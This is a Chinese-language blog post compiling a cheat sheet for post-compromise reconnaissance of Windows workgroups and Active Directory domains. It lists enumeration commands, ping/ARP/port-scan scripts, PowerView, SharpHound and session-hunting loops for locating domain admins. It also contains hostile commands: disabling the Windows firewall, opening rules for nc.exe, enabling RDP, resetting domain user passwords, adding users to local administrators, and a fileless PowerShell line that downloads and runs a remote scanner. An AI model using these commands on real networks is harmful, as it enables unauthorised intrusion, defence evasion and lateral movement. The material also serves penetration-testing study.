Lluna's Pure land.

What is life like when singing to wine?

0%

内网渗透测试-信息收集

0x01.工作组信息收集

01.检测当前shell权限

1
2
3
whoami /user    #查看当前用户的SID
whoami /priv #查看当前用户的安全权限
whoami /all

02.查看当前系统信息

1
systeminfo

03.tcp/udp 网络连接状态

1
netstat -nao

04.主机名

1
hostname

05.当前操作系统版本

1
2
3
4
ver
systeminfo | findstr /B /C:"OS name" /C:"OS Version" #英文版
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文版
wmic OS GET Caption,CSDVersion,OSArchitecture,Version #更详细

06.查看系统体系结构

1
echo %PROCESSOR_ARCHITECTURE%

07.查杀软

1
wmic /node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct GET displayName /Format:List

08.查看安装的程序

1
2
wmic product get  name,version
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"

09.查看在线用户

1
2
quser
query user || qwinsta

10.查看网络配置

1
ipconfig /all

11.查看进程与信息

1
2
tasklist /v
wmic process list brief

12.查看当前登入域

1
net config workstation

13.远程桌面历史连接记录

1
cmdkey /l

14.查看用户列表

1
net user

15.查看用户信息

1
net user administrator

16.查看本机服务信息

1
wmic service list brief

17.查看启动程序信息

1
wmic startup get command,caption

18.查看计划任务

1
schtasks /query /fo LIST /v

19.查看主机开机时间

1
net statistics workstation

20.获取本地管理员信息[通常包括域用户]

1
net localgroup administrators

21.显示连接会话

1
net session

22.查看安装过的补丁

1
wmic qfe get Caption,Description,HotFixID,InstalledOn

23.查看共享列表

1
net sharewmic share get name,path,status

24.查看路由表与ARP缓存表

1
route printarp -a

25.防火墙相关

1
netsh firewall set opmode disable    #server 2003之前版本关闭防火墙netsh advfirewall set allprofiles state off #server 2003之后版本关闭防火墙netsh firewall show config    #查看防火墙配置netsh firewall add allowedprogram c:\nc.exe "allow nc" enable    #server 2003之前版本允许指定程序连接netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"    #server 2003之后允许指定程序进入netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"    #server 2003之后允许指定程序出去netsh advfirewall firewall add rule name="RPC" protocol=TCP dir=in localport=3389 action=allow #放行3389netsh advfirewall set currentprofile logging filename "c:\windows\temp\fw.log"    #自定义防火墙日志文件位置

26.查看代理配置情况

1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

27.查询并开启远程连接服务

1
2
3
4
5
6
7
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber    #查看远程连接端口(RDP) 3389端口十六进制为0xd3d
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 #server 2003版本以下开启3389
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 0 #server 2003版本以下关闭3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 #server 2003版本以上开启3389(win7可以)
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 0 #server 2003版本以上关闭3389
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1 #server 2008/2012版本开启3389(win7不可以)
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f #server 2008/2012版本开启3389

0x02.域内信息收集

01.查看域用户信息

1
2
3
net user /domain    #显示所在域的用户名单
net user 域用户 /domain #获取域用户的详细信息
net user /domain xxx 123456 #修改域用户密码,需要管理员权限

02.查询域信任列表

1
nltest /domain_trusts /all_trusts /v

03.返回域控与其对应的IP

1
2
3
nltest /dsgetdc:jiye
nslookup -type=SRV _ldap._tcp #查看域控主机名
netdom query pdc #查询域控

04.域用户组相关查询

1
net group "domain admins" /domain    #查看域管理员列表net group "domain controllers" /domain    #查看域控制器(如果有多台)net group "domain computers" /domain    #查看域机器net group "domain users" /domain    #查看域全部用户net group /domain    #查看域里工作组net localgroup administrators    #查看本机管理员[通常含有域用户]net localgroup administrators /domain    #登入本机的域管理员net localgroup administrators workgroup\user /add    #域用户添加到本机

04.获取域内用户和管理员信息(域控)

1
wmic useraccount get /all    #获取域内用户的详细信息dsquery user        #查看存在用户dsquery computer    #查询目录中的计算机dsquery contact        #查询目录中的联系人dsquery subnet        #查询目录中的子网dsquery group        #查询目录中的组dsquery ou            #查询目录中的组织单位dsquery site        #查询目录中的站点dsquery server        #查询目录中的AD DC/LDS实例dsquery user        #查询目录中的用户dsquery quota        #查询目录中的配额规定dsquery partition    #查询目录中的分区dsquery * -            #用通用的LDAP查询目录中的任何对象

05.域主机相关查询

1
net view    #查看同一域内机器列表net view \\IP    #查看某IP共享net view \\DC    #查看DC计算机的共享资源列表net view /domain    #查看内网存在多少个域net view /domain:jiye    #查看jiye域中的机器列表

06.查看域用户密码过期等信息

1
net accounts /domain

07.判断域是否存在

1
ipconfig /allsysteminfonet config workstation    #当前登入域

08.判断主域

1
net time /domain执行以上命令通常有三种情况:1.存在域,但当前用户不是域用户,会出现拒绝访问结果2.存在域,但当前用户是域用户,得到正常输出3.当前环境为工作组,不存在域,会出现找不到域控信息

09.利用NetBios(网络邻居)探测内网

1
nbtscan.exe是一个命令行工具,可以扫描开放NetBios名称服务器nbtscan-1.0.35.exe 10.10.10.0/2410.10.10.10     JIYE\DC                         SHARING DC10.10.10.20     JIYE\WIN7DC1                    SHARING*timeout (normal end of scan)

10.ICMP协议快速探测内网

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL"

vbs脚本探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
strSubNet = "10.10.10." 
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alive ! :) "
End If
Next

objTS.Close
WScript.Echo " All Ping scan, All Done!) "
Function Ping(strComputer)
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function

#cscript 1.vps 执行

11.ARP扫描探测内网

01.arp-scan扫描工具

1
arp-scan.exe -t 10.10.10.0/24

02.Empire中的arpscan模块

1
usemodule powershell/situational_awareness/network/arpscan

03.Nishang中的Invoke-ARPScan.ps1

1
powershell -exec bypass -Command "& {Import-Module C:\Users\Administrator\Desktop\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 10.10.10.0/24}" >> C:\Users\Administrator\Desktop\Result.txt

Invoke-ARPScan.ps1如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
function Invoke-ARPScan {
<#
.Synopsis
Performs an ARP scan against a given range of IPv4 IP Addresses.
Part of Posh-SecMod (https://github.com/darkoperator/Posh-SecMod/)
Author: darkoperator

.DESCRIPTION
Performs an ARP scan against a given range of IPv4 IP Addresses.
.EXAMPLE
Invoke an ARP Scan against a range of IPs specified in CIDR Format
PS C:\> Invoke-ARPScan -CIDR 172.20.10.1/24
MAC Address
--- -------
14:10:9F:D5:1A:BF 172.20.10.2
00:0C:29:93:10:B5 172.20.10.3
00:0C:29:93:10:B5 172.20.10.15

.LINK
https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1

#>
param (
[Parameter(Mandatory=$true,
ParameterSetName = "Range",
ValueFromPipelineByPropertyName=$true,
Position=0)]
[string]$Range,

[Parameter(Mandatory=$true,
ParameterSetName = "CIDR",
ValueFromPipelineByPropertyName=$true,
Position=0)]
[string]$CIDR,

[Parameter(Mandatory=$false,
ValueFromPipelineByPropertyName=$true,
Position=0)]
[string]$MaxThreads=50
)


Begin
{

function New-IPv4Range
{
<#
.Synopsis
Generates a list of IPv4 IP Addresses given a Start and End IP.
.DESCRIPTION
Generates a list of IPv4 IP Addresses given a Start and End IP.
#>
param(
[Parameter(Mandatory=$true,
ValueFromPipelineByPropertyName=$true,
Position=0)]
$StartIP,

[Parameter(Mandatory=$true,
ValueFromPipelineByPropertyName=$true,
Position=2)]
$EndIP
)

# created by Dr. Tobias Weltner, MVP PowerShell
$ip1 = ([System.Net.IPAddress]$StartIP).GetAddressBytes()
[Array]::Reverse($ip1)
$ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address

$ip2 = ([System.Net.IPAddress]$EndIP).GetAddressBytes()
[Array]::Reverse($ip2)
$ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address

for ($x=$ip1; $x -le $ip2; $x++) {
$ip = ([System.Net.IPAddress]$x).GetAddressBytes()
[Array]::Reverse($ip)
$ip -join '.'
}
}


function New-IPv4RangeFromCIDR
{
<#
.Synopsis
Generates a list of IPv4 IP Addresses given a CIDR.
.DESCRIPTION
Generates a list of IPv4 IP Addresses given a CIDR.
#>
param(
[Parameter(Mandatory=$true,
ValueFromPipelineByPropertyName=$true,
Position=0)]
$Network
)
# Extract the portions of the CIDR that will be needed
$StrNetworkAddress = ($Network.split("/"))[0]
[int]$NetworkLength = ($Network.split("/"))[1]
$NetworkIP = ([System.Net.IPAddress]$StrNetworkAddress).GetAddressBytes()
$IPLength = 32-$NetworkLength
[Array]::Reverse($NetworkIP)
$NumberOfIPs = ([System.Math]::Pow(2, $IPLength)) -1
$NetworkIP = ([System.Net.IPAddress]($NetworkIP -join ".")).Address
$StartIP = $NetworkIP +1
$EndIP = $NetworkIP + $NumberOfIPs
# We make sure they are of type Double before conversion
If ($EndIP -isnot [double])
{
$EndIP = $EndIP -as [double]
}
If ($StartIP -isnot [double])
{
$StartIP = $StartIP -as [double]
}
# We turn the start IP and end IP in to strings so they can be used.
$StartIP = ([System.Net.IPAddress]$StartIP).IPAddressToString
$EndIP = ([System.Net.IPAddress]$EndIP).IPAddressToString
New-IPv4Range $StartIP $EndIP
}

$sign = @"
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Net.NetworkInformation;
using System.Runtime.InteropServices;
public static class NetUtils
{
[System.Runtime.InteropServices.DllImport("iphlpapi.dll", ExactSpelling = true)]
static extern int SendARP(int DestIP, int SrcIP, byte[] pMacAddr, ref int PhyAddrLen);
public static string GetMacAddress(String addr)
{
try
{
IPAddress IPaddr = IPAddress.Parse(addr);

byte[] mac = new byte[6];

int L = 6;

SendARP(BitConverter.ToInt32(IPaddr.GetAddressBytes(), 0), 0, mac, ref L);

String macAddr = BitConverter.ToString(mac, 0, L);

return (macAddr.Replace('-',':'));
}
catch (Exception ex)
{
return (ex.Message);
}
}
}
"@
try
{
Write-Verbose "Instanciating NetUtils"
$IPHlp = Add-Type -TypeDefinition $sign -Language CSharp -PassThru
}
catch
{
Write-Verbose "NetUtils already instanciated"
}

# Manage if range is given
if ($Range)
{
$rangeips = $Range.Split("-")
$targets = New-IPv4Range -StartIP $rangeips[0] -EndIP $rangeips[1]
}

# Manage if CIDR is given
if ($CIDR)
{
$targets = New-IPv4RangeFromCIDR -Network $CIDR
}
}
Process
{


$scancode = {
param($IPAddress,$IPHlp)
$result = $IPHlp::GetMacAddress($IPAddress)
if ($result) {New-Object psobject -Property @{Address = $IPAddress; MAC = $result}}
} # end ScanCode var

$jobs = @()



$start = get-date
write-verbose "Begin Scanning at $start"

#Multithreading setup

# create a pool of maxThread runspaces
$pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads)
$pool.Open()

$jobs = @()
$ps = @()
$wait = @()

$i = 0

# How many servers
$record_count = $targets.Length

#Loop through the endpoints starting a background job for each endpoint
foreach ($IPAddress in $targets)
{
# Show Progress
$record_progress = [int][Math]::Ceiling((($i / $record_count) * 100))
# Write-Progress -Activity "Performing ARP Scan" -PercentComplete $record_progress -Status "Addresses Queried - $record_progress%" -Id 1;

while ($($pool.GetAvailableRunspaces()) -le 0)
{
Start-Sleep -milliseconds 500
}

# create a "powershell pipeline runner"
$ps += [powershell]::create()

# assign our pool of 3 runspaces to use
$ps[$i].runspacepool = $pool

# command to run
[void]$ps[$i].AddScript($scancode).AddParameter('IPaddress', $IPAddress).AddParameter('IPHlp', $IPHlp)
#[void]$ps[$i].AddParameter()

# start job
$jobs += $ps[$i].BeginInvoke();

# store wait handles for WaitForAll call
$wait += $jobs[$i].AsyncWaitHandle

$i++
}

write-verbose "Waiting for scanning threads to finish..."

$waitTimeout = get-date

while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(get-date) - $waitTimeout).totalSeconds) -gt 60)
{
Start-Sleep -milliseconds 500
}

# end async call
for ($y = 0; $y -lt $i; $y++) {

try
{
# complete async job
$ScanResults += $ps[$y].EndInvoke($jobs[$y])

}
catch
{

write-warning "error: $_"
}

finally
{
$ps[$y].Dispose()
}
}

$pool.Dispose()
}

end
{
$ScanResults
}
}

0x03.wmic的简单使用

1
2
3
4
5
6
7
8
9
10
11
wmic /?        #全局参数(帮助)
wmic process /? #进程参数(帮助)
wmic process get /? #属性获取操作帮助
wmic process get caption,executablepath,processid #获取当前运行进程、进程路径、进程id
wmic service where (state="running") get name,processid,pathname,startmode,caption
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayname,productstate,pathtosignedproductexe
wmic onboarddevice get description,devicetype,enable,status /format:list
wmic product get name #系统软件安装情况
wmic environment get description,variablevalue #查看系统环境变量
wmic computersystem get name,domain,manufacturer,model,username,roles/format:list
wmic sysdriver get caption,name,pathname,servicetype,state,status /format:list

0x04.域内端口探测

01.scanlineTCP/UDP端口探测

1
scanline.exe -h -t 22,80-89,110,389,1099,1433,2059,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O C:\Users\Administrator\Desktop\log.txt -p 10.10.10.1-254

02.telnet扫描

1
telnet 10.10.10.10 22

03.metasploit端口扫描

1
2
3
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.1.1
run

04.PowerSploit的Invoke-Portscan.ps1

无文件扫描

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 10.10.10.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\user\administrator\desktop\res.txt"

0x05.域内常见端口

01.文件共享服务端口

端口号端口说明使用说明
21、22、69FTP/TFTP文件传输协议允许匿名的上传、下载爆破和嗅探操作
2049NFS服务配置不当
137、138、139Netbiso/SAMBA服务爆破、未授权访问、远程代码执行
389LDAP目录访问协议注入、允许匿名访问、弱口令
135DCOM/RPC服务RPC通信桥梁
445SMB共享文件夹(MS17-010),IPC$服务

02.远程连接服务端口

端口号端口说明使用说明
22SSH远程连接爆破、SSH隧道及内网代理转发、文件传输
23Telnet远程连接爆破、嗅探、弱口令
3389RDP远程桌面连接Shift后门(Windows Server 2003以下版本)、爆破
5900VNC弱口令爆破
5632PcAnywhere服务抓取密码、代码执行

03.Web应用服务端口

端口号端口说明使用说明
80、443、8080常见的Web服务端口Web攻击、爆破、对应服务器版本漏洞
7001、7002Weblogic控制台Java反序列化、弱口令
8080、8089JBoss/Resin/Jetty/Jenkins反序列化、控制台弱口令
9090WebSphere控制台Java反序列化、弱口令
4848GlassFish控制台弱口令
1352Lotus Domino邮件服务弱口令、信息泄露、爆破
10000webmin控制面板弱口令

04.数据库服务端口

端口号端口说明使用说明
3306MySQL数据库注入、提权、爆破
1433MSSQL数据库注入、提权、SA弱口令、爆破
1521Oracle数据库TNS爆破、注入、反弹Shell
5432PostgreSQL数据库爆破、注入、弱口令
27017、27018MongoDB数据库爆破、未授权访问
6379Redis数据库未授权访问、弱口令
5000Sysbase/DB2数据库爆破、注入

05.邮件服务器端口

端口号端口说明使用说明
25SMTP邮件服务邮件伪造
110POP3协议爆破、嗅探
143IMAP协议爆破

06.网络常见协议端口

端口号端口说明使用说明
53DNS域名系统允许区域传送、DNS劫持、缓存投毒、欺骗
67、68DHCP服务劫持、欺骗
161SNMP协议爆破、搜集目标内网信息

07.特殊服务端口

端口号端口说明使用说明
2181ZooKeeper服务未授权访问
8069Zabbix服务远程执行、SQL注入
9200、9300Elasticsearch服务远程执行
11211Memchached服务未授权访问
512、513、514Linux rexec服务爆破、远程登录
873rsync服务匿名访问、文件上传
3690SVN服务svn泄露、未授权访问
50000SAP Management Console远程执行
88Kerberos服务监听KDC票据请求,票据伪造
5985WinRMHTTP/HTTPS监听

0x06.定位域管理员

两种方法:管理员日志与登入会话,主要是会话

01.查看本机资源使用情况

1
net session

02.psloggedon.exe

1
psloggedon.exe \\10.10.10.10

通过注册表HKEY_USERS的key值查询谁登入过

参数

参数描述
显示支持的选项和用于输出值的度量单位。
-l仅显示本地登录,而不显示本地和网络资源登录。
-x不显示登录时间。
\\computername指定要为其列出登录信息的计算机的名称。
username指定用户名,在网路中搜索该用户登入的计算机

03.PVEFindADUser.exe

用于查找活动目录用户登录位置,枚举域用户,查找在特定计算机上登录的用户,包括本地用户,通过RDP登录的用户,用于运行服务和计划任务的用户。运行该工具需要.NET Framework2.0环境,并且具备管理员权限。

1
PVEFindADUser.exe --current

04.netview.exe

使用WinAPI枚举系统,利用NetSessionEnum找寻登录会话,利用NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登录的用户。大部分功能不需要管理员权限。

参数

参数描述
-f filename.txt指定一个文件以从中提取主机列表
-e filename.txt**指定要排除的主机名文件
-d domain指定要从中拉出主机列表的域,如果未指定,则使用当前域
1
netview.exe -filenmae.txt > res.txt

05.nmap的NSE脚本

1
2
3
4
5
6
7
8
9
10
11
smb-enum-domains.nse    #对域控制器进行信息收集,可以获取主机信息、用户、可使用密码策略的用户等
smb-enum-groups.nse
smb-enum-processes.nse #获取主机进程
smb-enum-services.nse
smb-enum-sessions.nse #获取用户登入会话
smb-enum-shares.nse #遍历远程主机的共享目录
smb-enum-users.nse #用户权限不够可以使用它对域控进行扫描
smb-flood.nse
smb-ls.nse
smb-mbenum.nse
smb-os-discovery.nse #进行信息收集

06.PowerView脚本

扫描目标用户集,不需要管理权限

1
powershell.exe -exec bypass -Command "& {Import-Module C:\powerview.ps1; Invoke-UserHunter}"

07.Empire的user_hunter模块

查找域管理员登入的机器

1
usemodule powershell/situational_awareness/network/powerview/user_hunter

0x07.进程查询

01.netsess.exe

会话查询

1
netsess.exe -h

02.交叉引用域管理员列表与活动会话列表

域控添加到dcs.txt,域管理员添加到admins.txt,与netsess在同一目录

1
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > session.txt && FOR /F %a in (admins.txt) DO @type session.txt | @findstr /I %a

03.查询远程系统中运行的任务

首先获取域管理员列表

1
net group "Domain Admins" /domain

将目标系统添加到ips.txt,域管理员添加到admins.txt,运行以下脚本(当前计算机IP)

1
for /F %i in (ips.txt) do @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL >output.txt && for /F %n in (admins.txt) do @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i &&pause

04.利用Netbios查询会话

将目标系统添加到ips.txt,域管理员添加到admins.txt,运行以下脚本

1
for /F %i in (ips.txt) do @echo [+]Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && for /F %n in (admins.txt) do @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

使用nbtscan进行查询

1
for /F %i in (ips.txt) do @echo [+]Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && for /F %n in (admins.txt) do @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

0x08.PowerShell收集域信息

Powershell的四种权限

Restricted:默认设置,不允许执行任何脚本。

Allsigned:只能运行经过证书验证的脚本。

Unrestircted:权限最高,允许执行任何脚本。

RemoteSigned:对本地脚本不进行限制,对来自网络的脚本必须验证其签名。

01.权限相关

1
2
Get-ExecutionPolicy        #查看权限
Set-ExecutionPolicy UnRestricted #修改权限

02.导入powerview.ps1

1
Import-Module .\PowerView.ps1

03.常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PowerView的常用命令如下:
Get-NetDomain:获取当前用户所在的域。
Get-NetUser:获取所有用户的详细信息。
Get-NetDomainController:获取所有域控制器的信息。
Get-NetComputer:获取域内所有机器的详细信息。
Get-NetOU:获取域中的OU信息。
Get-NetGroup:获取所有域内组成员的信息。
Get-NetFileServer:根据SPN获取当前域使用的文件服务器信息。
Get-NetShare:获取当前域内所有的网络共享信息。
Get-NetSession:获取指定服务器的会话。
Get-NetRDPSession:获取指定服务器的远程连接。
Get-NetProcess:获取远程主机的进程。
Get-UserEvent:获取指定用户的日志。
Get-ADObject:获取活动目录的对象。
Get-NetGPO:获取域内所有的组策略对象。
Get-DomainPolicy:获取域默认策略或域控制器策略。
Invoke-UserHunter:获取域用户登录的计算机信息及该用户是否有本地管理员权限。
Invoke-ProcessHunter:通过查询域内所有的机器进程找到特定用户。
Invoke-UserEventHunter:根据用户日志查询某域用户登录过哪些机器。

0x09.BloodHound域内分析工具

首先进行信息采集,然后导入分析即可

1
SharpHound.exe -c all
-------------纸短情长下次再见-------------